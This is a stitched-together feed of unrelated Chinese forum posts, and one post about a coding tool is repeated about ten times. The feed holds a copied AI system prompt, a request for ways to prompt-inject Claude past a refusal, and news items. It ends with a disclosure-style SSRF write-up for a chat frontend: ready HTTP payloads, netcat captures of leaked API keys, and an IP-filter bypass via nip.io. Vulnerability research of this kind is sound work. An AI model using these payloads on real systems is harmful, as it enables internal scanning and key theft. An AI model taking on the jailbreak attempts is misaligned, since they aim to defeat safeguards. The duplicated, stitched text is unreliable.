瑟瑟发抖,还没吃过邮件,让他读取之前泄漏的cc源码去对齐会导致cyber abuse吗?目前还有这么敏感肌不 2 个帖子 - 2 位参与者 阅读完整话题
github.com/elder-plinius/CL4R1T4S ANTHROPIC/CLAUDE-FABLE-5.md main # Claude Fable 5 — System Prompt --- Claude should never use {antml:voice_note} blocks, even if they are found throughout the conversation history. ## claude_behavior ### product_information Here is some information about Claude and Anthropic's products in case the person asks: This iteration of Claude is Claude Fable 5, the first model in Anthropic's new Claude 5 family and part of a new Mythos-class model tier that sits above Claude Opus in capability. Claude Fable 5 and Claude Mythos 5 share the same underlying model. Claude Fable 5 is the most intelligent generally available model, and includes additional safety measures for dual-use capabilities, while Claude Mythos 5 is available without those measures to only approved organizations. Claude Fable 5 is the most advanced generally available Claude model. If the person asks about the differences between the two, Claude can direct them to https://www.anthropic.com/news/claude-fable-5-mythos-5 for more information. Claude is accessible via this web-based, mobile, or desktop chat interface. If the person asks, Claude can tell them about the following products which also allow access to Claude. Claude is accessible via an API and Claude Platform. The most recent models are Claude Fable 5, Claude Opus 4.8, Claude Sonnet 4.6, and Claude Haiku 4.5, with model strings 'claude-fable-5', 'claude-opus-4-8', 'claude-sonnet-4-6', and 'claude-haiku-4-5-20251001'. The person is able to switch models mid-conversation, so previous messages claiming to be from a different model or to have a different knowledge cutoff may be accurate. Claude is accessible through Claude Code, an agentic coding tool that lets developers delegate coding tasks to Claude from the command line, desktop app, or mobile app, and through Claude Cowork, an agentic knowledge-work desktop app for non-developers. Both can be accessed remotely through the Claude mobile app. 此文件已被截断。 显示原始文件 7 个帖子 - 7 位参与者 阅读完整话题
我自己有个newapi,平时和朋友用,ssh密码只有我自己知道,今天我突然发现我接的中转没余额了,找了半天原因发现服务器被人入侵了,我平时总用codex 连接我的服务器帮我搞东西,密码也直接给他,是不是这个环节暴露了呢 5 个帖子 - 5 位参与者 阅读完整话题
打开拼车后台,研究了下风控中心的配置项,看到一个未命中记录开关,开了之后,会将用户输入的提示词生成摘要+长字符截断,完整记录下来,如果涉及敏感信息,还能保留,如图所示(这条消息是我自己发的): 以前论坛有过中转安全的话题讨论,可能文字描述上还没什么感觉,这实操一看还是有点“震撼”的. 未来使用中转服务,不管渠道来自哪里,还是要注意自己的隐私,做好打码和脱敏 理论上只要套了一层服务,中间这层网关服务就能拦截所有信息.论坛很多非技术人员可能单纯听别人从文字上说泄漏之类的,不是很直观,所以这个只是稍微展示一下. 至于隐私重不重要,如何保护,我觉得首先是服务使用者要考虑的问题,比如:优选可信渠道,提前做好内容审查等 17 个帖子 - 15 位参与者 阅读完整话题
NASA NASA Provides Update on Space Station Leak - NASA The Zvezda service module’s transfer tunnel, known as the PrK, on the International Space Station has experienced cracks since 2019 that have resulted in small atmosphere leaks and prompted ongoing monitoring and repair efforts by Roscosmos. NASA and... [!quote]+ 国际空间站上的"曙光"服务舱转移隧道(PrK)自2019年以来出现裂缝,导致大气小规模泄漏,促使俄罗斯航天局持续监测和修复工作。NASA和俄罗斯联邦航天局(Roscosmos)合作找出根本原因,同时俄罗斯航天局也在实施包括临时和永久密封剂在内的泄漏缓解措施。 6月1日当周,在进步95号航天器货运作业期间,俄罗斯航天局注意到泄漏率从之前增加到每天两磅,并识别出PrK内新的疑似泄漏区域。在这一观察后,俄罗斯航天局决定于周五上午开始开展更全面的检查和结构修复工作。这一修正方法涉及切割支架以便更好地进入被识别为可能泄漏源的区域进行进一步检查,采用一种可能导致该区域建筑物风险增加的方法。作为回应,NASA指示四名SpaceX Crew-12成员和搭乘联盟MS-28飞船前往驻地的宇航员克里斯·威廉姆斯在操作过程中,在SpaceX龙飞船内采取更高的安全姿势,称为安全避风港。 周五上午晚些时候,俄罗斯航天局暂停了结构修复工作,转而进行额外的测量和数据评估,包括对疑似关注区域的检查以及对之前封闭剂施用区域的审查。NASA强烈支持该决定,因此,第12组和威廉姆斯结束了安全区活动,恢复了轨道实验室的正常运作。 cbsnews.com International Space Station crew shelters inside spacecraft during leak repairs Out of an abundance of caution, NASA on Friday briefly directed five of the seven crew members aboard the International Space Station to wait inside the docked SpaceX Crew Dragon "Freedom" spacecraft — known as a "safe haven" — as two cosmonauts... BBC News Astronauts told to return to International Space Station after sheltering... Nasa had directed five of the seven astronauts to shelter inside the docked SpaceX Crew Dragon "Freedom" spacecraft while two Russian cosmonauts attempted an urgent repair. CNN – 5 Jun 26 Astronaut who has dealt with Space Station leaks speaks to CNN | CNN Cracks and leaks on the International Space Station force astronauts to seek shelter on the dragon spacecraft. Erin Burnett talks to retired NASA astronaut Chris Cassidy, who went to the Space Station three times, about the safety risk. https://www.reuters.com/science/international-space-station-astronauts-evacuation-mode-russia-attempts-fix-2026-06-05/ 1 个帖子 - 1 位参与者 阅读完整话题
IT之家 6 月 5 日消息,NASA 于美东时间周五上午 9 时 04 分下令国际空间站上五名宇航员穿戴航天服进入停靠在站上的 SpaceX 载人龙飞船内避险,以应对俄罗斯舱段持续加剧的空气泄漏问题。 约两小时后,随着俄方暂停维修作业,NASA 解除了这一安全避难指令,宇航员返回站内恢复计划内工作。 NASA 发言人贝瑟尼 · 史蒂文斯证实,接到指令的五人包括 Crew-12 任务组的四名宇航员 ——NASA 宇航员杰西卡 · 梅尔和杰克 · 哈撒韦、欧空局宇航员索菲 · 阿德诺以及俄罗斯国家航天集团宇航员安德烈 · 费佳耶夫,另有一名美国宇航员也一同进入龙飞船。 此次泄漏发生在俄罗斯星辰号服务舱的过渡舱段。一位不愿具名的 NASA 高级官员透露,近几个月来该舱段的空气泄漏量一直维持在相对较低水平,但周五当天突然翻倍。 空间站上的俄罗斯宇航员库德-斯韦尔奇科夫和米卡耶夫负责维修作业,两人使用锯具切割以接近可能存在的裂缝位置。NASA 方面表示不同意这一维修方式,休斯顿任务控制中心因此下令执行安全避难程序。 俄方维修作业暂停后,NASA 随即调整指令。史蒂文斯发文称:“鉴于这一进展,NASA 已指示龙飞船内的机组人员结束安全避难程序,返回国际空间站按计划开展工作。”她同时表示,NASA 期待与俄罗斯国家航天集团以协作方式解决泄漏问题。 俄国家航天集团随后发布声明确认,星辰号过渡舱加压期间,俄方段主操作控制组专家检测到两次泄漏。其中一处已用密封剂完成封堵,另一处位于过渡舱锥形部分,封堵准备工作正在进行。声明称“情况不会威胁机组人员和星上系统的安全,空间站压力保持稳定并维持在计算水平。” 国际空间站目前共有七名宇航员。除二月抵达的 Crew-12 任务组四人外,去年十一月抵达的美国宇航员克里斯托弗 · 威廉姆斯及另两名俄罗斯宇航员也在站上。NASA 与俄国家航天集团围绕星辰号服务舱空气泄漏的原因和维修方案已持续争论数月。 IT之家提醒:安全避难程序在空间站历史上并不常见,此前多因太空碎片碰撞风险或轻微泄漏率变化触发。但国际空间站运行 27 年来,尚未发生过宇航员紧急撤离事件。
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
最开始写了一个 tui 简陋版本 然后 cc 的源码泄漏 看了下 cc 的代码 又迭代了一个版本 拆出来了 core 和 tui 。cc 的 tui 和 core 还是太耦合了 这个时候 core 我就单独发了一个包 写在实际项目里 读取线上 bad case. 然后做自迭代。 后面用起来实在不得劲 又加了一个 electron 版本。 兼容了一下 cc 和 codex 的 plugin 。 刚才准备更一个 plugin 来用 突然发现又一点 surprise 。 因为想给几个好朋友内测一下。之前又个前端朋友给 tui 用的时候 feedback 不能选 element 让 ai 改样式不好用 准备做几个插件出来。 https://litter.catbox.moe/yt5n67.png https://litter.catbox.moe/19tbf0.png https://litter.catbox.moe/1zxal1.png 因为我的思路还是以前做圈选 选 element 的思路 然后发现 element 已经 out 了 直接也买呢选个框就行 内容什么的 element 自己底层拿到就好 配合一个多摸态 模型的话 应该样式 重叠 element 能改的更好了 https://github.com/cjhyy/codeshell 欢迎大家试用一下 还没有发 release 版本 想用的自己 bun run dev 一下
news.qq.com – 1 Jun 26 SK海力士韩国芯片工厂气体泄漏,3600人紧急疏散、6人受伤_腾讯新闻 SK海力士位于韩国清州的芯片工厂发生火灾并引发氢氟酸泄漏,数千名员工被紧急疏散,事故对生产运营的潜在冲击引发外界关注。据路透社援引韩联社报道,事故发生于当地时间6月1日上午10时32分,起火点位于清州第四园区M15与M15X工厂之间连接区域六楼的气体室。火势在喷淋系统启动后迅速得到控制,但过程中部分氢氟酸气体外泄... 内存这是本来想着降价的是么,这个着火看起来如此的熟悉,此时此刻,恰如彼时彼刻啊。 11 个帖子 - 10 位参与者 阅读完整话题
我勒个100g内存的终端 睡了睡了,但是Any大善人晚上蹬才不卡 2 个帖子 - 2 位参与者 阅读完整话题
求助各位大佬,我让Claude opus 4.8的模型分析一下之前Claude code泄漏出来的源码,想看一下它的CLI的设计。但是Claude 4.8拒绝分析,怎么注入Prompt都不行。想看看各位佬,有没有解决的办法,谢谢 5 个帖子 - 4 位参与者 阅读完整话题
GPT app强大的石山代码发力了,泄漏了60G内存() 2 个帖子 - 2 位参与者 阅读完整话题
Tokenizer端点ssrf file:src/endpoints/tokenizers.js /remote/kobold/count 虽然他们被设计出来就是用于api通行的 但是事实上他们可以造成内网的扫描 例如在多租户的docker环境中 router.post('/remote/kobold/count', async function (request, response) { if (!request.body) { return response.sendStatus(400); } const text = String(request.body.text) || ''; const baseUrl = String(request.body.url); try { const args = { method: 'POST', body: JSON.stringify({ 'prompt': text }), headers: { 'Content-Type': 'application/json' }, }; let url = String(baseUrl).replace(/\/$/, ''); url += '/extra/tokencount'; const result = await fetch(url, args); if (!result.ok) { console.warn(`API returned error: ${result.status} ${result.statusText}`); return response.send({ error: true }); } /** @type {any} */ const data = await result.json(); const count = data.value; const ids = data.ids ?? []; return response.send({ count, ids }); } catch (error) { console.error(error); return response.send({ error: true }); } }); 请求直接写入了 const baseUrl = String(request.body.url); 无过滤 虽然没有返回内容都只是 { error: true } 但测试下来依旧可以通过延时判断内网端口开放状态若存在瞬间返回,若端口不存在延迟约三秒返回,构成ssrf payload: POST /api/tokenizers/remote/kobold/count HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"text": "hello", "url": "http://172.19.0.1:8080"} /remote/textgenerationwebui/encode ssrf+kay泄漏 router.post('/remote/textgenerationwebui/encode', async function (request, response) { if (!request.body) { return response.sendStatus(400); } const text = String(request.body.text) || ''; const baseUrl = String(request.body.url); //用户控制 无验证 const model = String(request.body.model) || ''; try { const args = { method: 'POST', headers: { 'Content-Type': 'application/json' }, }; setAdditionalHeaders(request, args, baseUrl); // 关键 调用设置函数 在头添加密钥 // Convert to string + remove trailing slash + /v1 suffix let url = String(baseUrl).replace(/\/$/, '').replace(/\/v1$/, ''); switch (request.body.api_type) { case TEXTGEN_TYPES.TABBY: url += '/v1/token/encode'; args.body = JSON.stringify({ 'text': text, 'add_bos_token': false }); break; case TEXTGEN_TYPES.KOBOLDCPP: url += '/api/extra/tokencount'; args.body = JSON.stringify({ 'prompt': text, 'special': false }); break; case TEXTGEN_TYPES.LLAMACPP: url += '/tokenize'; args.body = JSON.stringify({ 'model': model, 'content': text }); break; case TEXTGEN_TYPES.VLLM: url += '/tokenize'; args.body = JSON.stringify({ 'model': model, 'prompt': text }); break; case TEXTGEN_TYPES.APHRODITE: url += '/v1/tokenize'; args.body = JSON.stringify({ 'model': model, 'prompt': text }); break; default: url += '/v1/internal/encode'; args.body = JSON.stringify({ 'text': text }); break; } const result = await fetch(url, args); //带上附加的头 if (!result.ok) { console.warn(`API returned error: ${result.status} ${result.statusText}`); return response.send({ error: true }); } /** @type {any} */ const data = await result.json(); const count = (data?.length ?? data?.count ?? data?.value ?? data?.tokens?.length); const ids = (data?.tokens ?? data?.ids ?? []); return response.send({ count, ids }); } catch (error) { console.error(error); return response.send({ error: true }); } }); 观察代码不难注意到 setAdditionalHeaders(request, args, baseUrl); 这个函数,它又指向 setAdditionalHeadersByType ,在这个函数中key被赋值 export function setAdditionalHeadersByType(requestHeaders, type, server, directories) { const headerGetters = { [TEXTGEN_TYPES.MANCER]: getMancerHeaders, [TEXTGEN_TYPES.VLLM]: getVllmHeaders, [TEXTGEN_TYPES.APHRODITE]: getAphroditeHeaders, [TEXTGEN_TYPES.TABBY]: getTabbyHeaders, [TEXTGEN_TYPES.TOGETHERAI]: getTogetherAIHeaders, [TEXTGEN_TYPES.OOBA]: getOobaHeaders, [TEXTGEN_TYPES.INFERMATICAI]: getInfermaticAIHeaders, [TEXTGEN_TYPES.DREAMGEN]: getDreamGenHeaders, [TEXTGEN_TYPES.OPENROUTER]: getOpenRouterHeaders, [TEXTGEN_TYPES.KOBOLDCPP]: getKoboldCppHeaders, [TEXTGEN_TYPES.LLAMACPP]: getLlamaCppHeaders, [TEXTGEN_TYPES.FEATHERLESS]: getFeatherlessHeaders, [TEXTGEN_TYPES.HUGGINGFACE]: getHuggingFaceHeaders, [TEXTGEN_TYPES.GENERIC]: getGenericHeaders, }; const getHeaders = headerGetters[type]; // 获得密钥 const headers = getHeaders ? getHeaders(directories) : {}; if (typeof server === 'string' && server.length > 0) { try { const url = new URL(server); const overrideHeaders = getOverrideHeaders(url.host); if (overrideHeaders && Object.keys(overrideHeaders).length > 0) { Object.assign(headers, overrideHeaders); } } catch { // Do nothing } } Object.assign(requestHeaders, headers); } 效果如下 payload POST /api/tokenizers/remote/textgenerationwebui/encode HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"text": "test", "url": "http://172.19.0.1:8080", "api_type": "tabby", "model": ""} 返回 nc -l 0.0.0.0 8080 POST /v1/token/encode HTTP/1.1 accept: */* accept-encoding: gzip, deflate, br authorization: Bearer 123123 content-length: 37 content-type: application/json user-agent: node-fetch x-api-key: 123123 Host: 172.19.0.1:8080 Connection: keep-alive {"text":"test","add_bos_token":false} 关键 x-api-key: 123123 只要用户设置过的key 通过apitype就可以泄漏 KoboldCPP端点ssrf漏洞 看代码 router.post('/koboldcpp', async (request, response) => { try { const { query, url } = request.body; if (!url) { console.error('No URL provided for KoboldCpp search'); return response.sendStatus(400); } console.debug('KoboldCpp search query', query); const baseUrl = trimV1(url); const args = { method: 'POST', headers: {}, body: JSON.stringify({ q: query }), }; setAdditionalHeaders(request, args, baseUrl); const result = await fetch(`${baseUrl}/api/extra/websearch`, args); if (!result.ok) { const text = await result.text(); console.error('KoboldCpp request failed', result.statusText, text); return response.status(500).send(text); } const data = await result.json(); console.debug('KoboldCpp search response', data); return response.json(data); } catch (error) { console.error(error); return response.sendStatus(500); } }); 一样的 关键点 const baseUrl = trimV1(url); 在之后url会被拼接 /api/extra/websearch 进行查询 没有过滤 白名单 于是我们可以构造出如下的 payload POST /api/search/koboldcpp HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"query": "", "url": "http://172.19.0.1:8080"} 如果不想请求携带后面的接口 可以添加# 来绕过 {"query": "", "url": "http://172.19.0.1:8080#"} nc -l 0.0.0.0 8080 POST / HTTP/1.1 accept: */* accept-encoding: gzip, deflate, br content-length: 8 content-type: text/plain;charset=UTF-8 user-agent: node-fetch Host: 172.19.0.1:8080 Connection: keep-alive {"q":""} /visit 80,443端口 回显ssrf router.post('/visit', async (request, response) => { try { const url = request.body.url; const html = Boolean(request.body.html ?? true); if (!url) { console.error('No url provided for /visit'); return response.sendStatus(400); } try { const urlObj = new URL(url); // Reject relative URLs if (urlObj.protocol === null || urlObj.host === null) { throw new Error('Invalid URL format'); } // Reject non-HTTP URLs if (urlObj.protocol !== 'http:' && urlObj.protocol !== 'https:') { throw new Error('Invalid protocol'); } // Reject URLs with a non-standard port if (urlObj.port !== '') { throw new Error('Invalid port'); } // Reject IP addresses if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) { throw new Error('Invalid hostname'); } } catch (error) { console.error('Invalid url provided for /visit', url); return response.sendStatus(400); } console.info('Visiting web URL', url); const result = await fetch(url, { headers: visitHeaders }); if (!result.ok) { console.error(`Visit failed ${result.status} ${result.statusText}`); return response.sendStatus(500); } const contentType = String(result.headers.get('content-type')); if (html) { if (!contentType.includes('text/html')) { console.error(`Visit failed, content-type is ${contentType}, expected text/html`); return response.sendStatus(500); } const text = await result.text(); return response.send(text); } response.setHeader('Content-Type', contentType); const buffer = await result.arrayBuffer(); return response.send(Buffer.from(buffer)); } catch (error) { console.error(error); return response.sendStatus(500); } }); 这里的验证并不严格 关键的代码是 if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) { throw new Error('Invalid hostname'); } 他用的是ip-regex模块匹配ip,不够完全 可以利用一些手段绕过 例如 nip.io http://127.0.0.1.nip.io 这个就指向127 payload: POST /api/search/visit HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"url": "http://172.19.0.1.nip.io", "html": false} sudo nc -l 0.0.0.0 80 GET / HTTP/1.1 accept: text/html accept-encoding: gzip, deflate, br accept-language: en-US,en;q=0.5 cache-control: no-cache connection: keep-alive dnt: 1 pragma: no-cache sec-fetch-dest: document sec-fetch-mode: navigate sec-fetch-site: none sec-fetch-user: ?1 te: trailers user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: 172.19.0.1.nip.io 这个问题已经有安全报告了 GitHub Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6 ### Details Distinct from CVE-2025-59159, CVE-2026-26286, and GHSA-vjv2-8gh6-4hc2 (all fixed in v1.16.0). This endpoint is still unpatched. In `src/endpoints/search.js` line 419, the hostname i... 1 个帖子 - 1 位参与者 阅读完整话题